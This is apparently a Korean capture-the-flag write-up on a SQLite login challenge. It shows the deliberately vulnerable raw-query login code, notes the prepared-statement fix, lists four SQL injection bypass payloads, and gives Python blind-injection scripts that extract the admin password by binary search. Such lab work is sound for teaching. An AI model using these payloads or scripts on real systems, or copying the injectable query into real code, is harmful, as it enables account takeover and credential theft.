SQL Injection 취약점이 존재하는 워게임 문제를 풀어보도록 하자.
해당 문제는 SQLite를 이용해 데이터베이스를 관리하고 있다. SQLite는 기존에 알려진 MySQL, MSSQL, Oracle 등과 유사한 형태의 데이터베이스 관리 시스템이다. 데이터 관리를 위한 일부 필수 기능만을 지원하기에 비교적 경량화되었다. 많은 양의 컴퓨팅 리소스를 제공하기 어려운 임베디드 장비, 비교적 복잡하지 않은 독립실행형(Standalone) 프로그램에서 사용되며, 개발 단계의 편의성 또는 프로그램의 안전성을 제공한다.
해당 문제의 목표는 관리자 계정으로 로그인하면 출력되는 flag를 획득하는 것이다. 사이트에 접속해보면 간단히 로그인 기능만을 제공하고 있음을 알 수 있다.
실습에서는 해당 취약점을 이용하여 임의 계정의 권한을 획득할 수 있다. SQL Injection은 단순히 로그인 결과를 조작해 임의 계정으로 로그인하는 것 외에도, 비밀 글을 비밀번호 없이 조회하거나 회원 정보 조회 시 이용자 번호에 SQL 구문을 삽입해 임의 회원 정보를 출력하는 등의 행위가 가능하다.
참고로 이러한 문제점은 이용자의 입력 값이 포함된 쿼리를 동적으로 생성하고 사용하면서 발생한다. SQL 데이터를 처리할 때 쿼리문을 직접 생성하는 방식이 아닌, Prepared Statement와 Object Relational Mapping (ORM)을 사용해 해결할 수 있다. Preapared Statement는 동적 쿼리가 전달되면 내부적으로 쿼리 분석을 수행해 안전한 쿼리문을 생성한다.
/login : 입력 받은 ID/PW를 데이터베이스에서 조회하고 이에 해당하는 데이터가 있는 경우 로그인을 수행한다. 구성된 데이터베이스는 아래의 코드를 통해 database.bd 파일로 관리하고 있다. userid와 userpassword 컬럼은 각가 이용자의 ID와 PW를 저장한다. 코드를 살펴보면, guest 게정은 이용자가 알 수 있지만 admin 계정은 랜덤하게 생성된 16 바이트의 문자열이기 때문에 비밀번호를 예상할 수 없다.
users > userid / userpassworduserid : guest / adminuserpassword : guest / 랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)# 데이터베이스 파일명을 database.db로 설정
DATABASE = "database.db"
if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우,
db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
db.execute('create table users(userid char(100), userpassword char(100));')
# users 테이블 생성
# users 테이블에 관리자와 guest 계정 생성
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit() # 쿼리 실행 확정
db.close() # DB 연결 종료
아래의 코드는 로그인 페이지를 구성하는 코드이다. 코드를 살펴보면, 메소드에 따른 요청마다 다른 기능을 수행하는 것을 알 수 있다.=
userid와 userpassword를 입력할 수 있는 로그인 페이지를 제공한다. userid와 password 입력 창에 guest를 입력하면 로그인을 수행할 수 있다.
이용자가 입력한 계정 정보가 데이터베이스에 존재하는지 확인한다. 이때, 로그인 계정이 admin일 경우 FLAG를 출력한다.
# Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
@app.route('/login', methods=['GET', 'POST'])
def login(): # login 함수 선언
if request.method == 'GET': # 이용자가 GET 메소드의 요청을 전달한 경우,
return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
else: # POST 요청을 전달한 경우
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res: # 쿼리 결과가 존재하는 경우
userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
return f'hello {userid} flag is {FLAG}' # flag를 출력
# 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
return f'<script>alert("hello {userid}");history.go(-1);</script>'
# 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
return '<script>alert("wrong");history.go(-1);</script>'
해당 문제를 풀이하는 접근 방법은 다양하다. 관리자 계정의 비밀번호를 모른 채로 로그인을 우회하여 풀이하는 방법과, 관리자 계정의 비밀번호를 알내고 올바른 경로로 로그인 하는 방법으로 크게 두 가지로 나눌 수 있다. 여기서는 로그인을 우회하여 풀이하는 방법으로 문제 풀이를 진행할 것이다.
아래의 코드를 살펴보면, userid와 userpassword를 이용자에게 입력 받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다. 이렇게 동적으로 생성한 쿼리를 RawQuery라고 한다. RawQuery를 생성할 때, 이용자의 입력 값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다. 이용자의 입력 값을 검사하는 과정이 없이 때문에 임의의 쿼리문을 userid 또는 userpassword에 삽입해 SQL Injection 공격을 수행할 수 있다.
def login(): # login 함수 선언
...
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
...
def query_db(query, one=True): # query_db 함수 선언
cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
rv = cur.fetchall() # 쿼리문 내용을 받아오기
cur.close() # 데이터베이스 연결 종료
return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환
본 문제를 해결하기 위해서는 userid가 admin인 계정으로 로그인해야 한다. 아래의 코드는 로그인을 위해 실행하는 쿼리문으로, 이를 참고해 admin이라는 결과가 반환되도록 쿼리문을 조작해야 한다.
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
아래의 코드는 admin 계정으로 로그인할 수 있는 SQL Injection 공격 코드이다. SQL은 수많은 조건절을 제공하기 때문에 이를 통해 다양한 방법으로 공격을 시도할 수 있다.
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
앞서 작성한 공격 쿼리문을 userid와 userpassword 입력 창에 입력하면 admin 계정으로 로그인 되는 것을 확인할 수 있으며, FLAG를 획득할 수 있다.
해당 Exercise에서도 위의 문제와 동일한 문제를 대상으로 하지만, 이번에는 Bline SQL Injection을 통해 관리자의 비밀번호를 알아내는 실습을 진행해보자. 문제 목표와 기능 요약은 동일함으로 넘어가도록 하자.
비밀번호는 SQLite의 users 테이블에 있으므로, 이 테이블의 값을 읽는 Bline SQL Injection 코드를 작성하도록 하자. Web Hacking : SQL Injection (1)에서 다루었듯이, Blind SQL Injection (BSQLi)는 여러 번의 질의를 통해 정답을 찾아내는 스무고개 놀이와 유사하다.
비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한 했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94(0x20 ~ 0x7E)개이다. 비밀번호가 10자리만 되어도 천문학적인 경우의 수가 되지만, 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로 실제 전송해야 할 최대 쿼리의 갯수는 940개로 줄어든다. 이분 탐색 알고리즘을 적용하면 약 65개로 더욱 축소된다. 물론 여전히 직접 시도하기에는 많은 양이며, 비밀번호의 길이가 이보다 더 길 수도 있기에 자동화 스크립트를 작성하는 것이 바람직하다.
쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야 한다. 크롬의 개발자 도구를 이용하자.
- 개발자 도구의 네트워크 탭 >
Preserve log클릭- userid에 guest, password에 guest를 입력 > login 버튼 클릭
- 메시지 목록에서
/login으로 전송된 POST 요청 찾기- 하단의
Form Data확인하기
로그인 할 때 입력한 userid 값은 userid로 password는 userpassword로 전송됨을 확인할 수 있다.
비밀번호를 알아내기 전에 길이를 먼저 파악해야 한다. 다음과 같이 admin의 비밀번호 길이를 찾아내는 파이썬 스크립트를 작성해보자.
$ ./ex.py 23742
Length of the admin password is: [redacted]
아래의 코드와 같이 이진 탐색 알고리즘을 활용하면 시간을 단축시킬 수 있다.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
비밀번호의 길이를 찾았으므로, 한 글자씩 비밀번호를 알아내는 코드를 작성해야 한다. 마찬가지로 이진 탐색 알고리즘을 활용하면 시간을 단축할 수 있다.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ''
for idx in range(1, pw_len+1):
query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
$ ./ex.py 23742
Length of the admin password is: [redacted]
Finding password:
1. 0
2. 0e
3. 0ec
...
Password of the admin is: [redacted]
스크립트를 실행하다가 연결 시간 초과 에러 Connection timed out가 발생하는 경우가 있다. Python의 try_except 구문으로 에러를 핸들링하거나, 공격에 성공할 때까지 스크립트를 실행해서 이를 해결할 수 있다.
획득한 비밀번호를 이용하여 admin으로 로그인하면, 플래그를 획득할 수 있다.